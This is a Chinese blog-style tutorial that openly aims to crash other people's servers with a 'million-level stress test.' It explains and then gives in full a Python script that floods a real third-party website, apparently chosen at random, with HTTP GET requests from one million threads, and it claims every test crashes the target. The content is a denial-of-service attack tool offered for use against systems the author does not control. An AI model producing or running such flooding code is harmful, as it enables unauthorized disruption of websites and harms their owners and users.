背景:需要对服务器或别人的网站进行百万级别的压测,搞垮别人服务器
-
导入必要的模块:
import requests from concurrent.futures import ThreadPoolExecutor
requests
模块用于发送HTTP请求和处理响应。ThreadPoolExecutor
类用于创建线程池,以便并发执行多个任务。
-
定义
make_request
函数:def make_request(url): try: response = requests.get(url) return response.status_code except Exception as e: return str(e)
make_request
函数接受一个URL参数,尝试发送HTTP GET请求到该URL。- 如果请求成功,函数返回响应的状态码。
- 如果请求失败,函数返回异常信息的字符串表示。
-
指定要请求的URL:
url = "http://www.mokotechnology.com/" #随便找的网站
- 这里指定了要发送HTTP请求的目标URL。
-
设置线程数:
num_threads = 1000000 # 设置线程数
num_threads
变量表示要启动的线程数。在这个示例中设置为一个很大的数,但实际中这么大的线程数可能会对系统性能产生不利影响。
-
创建线程池:
with ThreadPoolExecutor(max_workers=num_threads) as executor:
- 使用
ThreadPoolExecutor
的with
语句创建了一个线程池,并指定最大工作线程数为num_threads
。
- 使用
-
提交任务到线程池:
future_to_url = {executor.submit(make_request, url): url for _ in range(num_threads)}
- 使用字典推导式将请求任务提交给线程池。对于每一个URL,都创建一个
Future
对象,关联到相应的URL。
- 使用字典推导式将请求任务提交给线程池。对于每一个URL,都创建一个
-
获取任务结果:
for future in future_to_url: url = future_to_url[future] try: status_code = future.result() print(f"URL: {url}, Status Code: {status_code}") except Exception as e: print(f"URL: {url}, Error: {e}")
- 使用
for
循环遍历future_to_url
字典中的每个Future
对象,并使用future.result()
方法获取每个任务的执行结果。 - 如果任务成功完成,则打印出URL和相应的状态码。
- 如果任务出现异常,则打印出URL和错误信息。
- 使用
完整代码如下(根据自身自行修改服务器):一般一测一个准,一测就奔溃,勿已恶小而为之。
import requests
from concurrent.futures import ThreadPoolExecutor
def make_request(url):
try:
response = requests.get(url)
# 如果需要处理返回的内容,可以在这里添加相应的逻辑
# response_content = response.json() # 如果返回的是JSON数据,可以使用json()方法解析
return response.status_code
except Exception as e:
return str(e)
url = "http://www.mokotechnology.com/"
num_threads = 1000000 # 设置线程数
# 使用ThreadPoolExecutor创建线程池
with ThreadPoolExecutor(max_workers=num_threads) as executor:
# 将请求任务提交给线程池
future_to_url = {executor.submit(make_request, url): url for _ in range(num_threads)}
# 获取结果
for future in future_to_url:
url = future_to_url[future]
try:
status_code = future.result()
print(f"URL: {url}, Status Code: {status_code}")
except Exception as e:
print(f"URL: {url}, Error: {e}")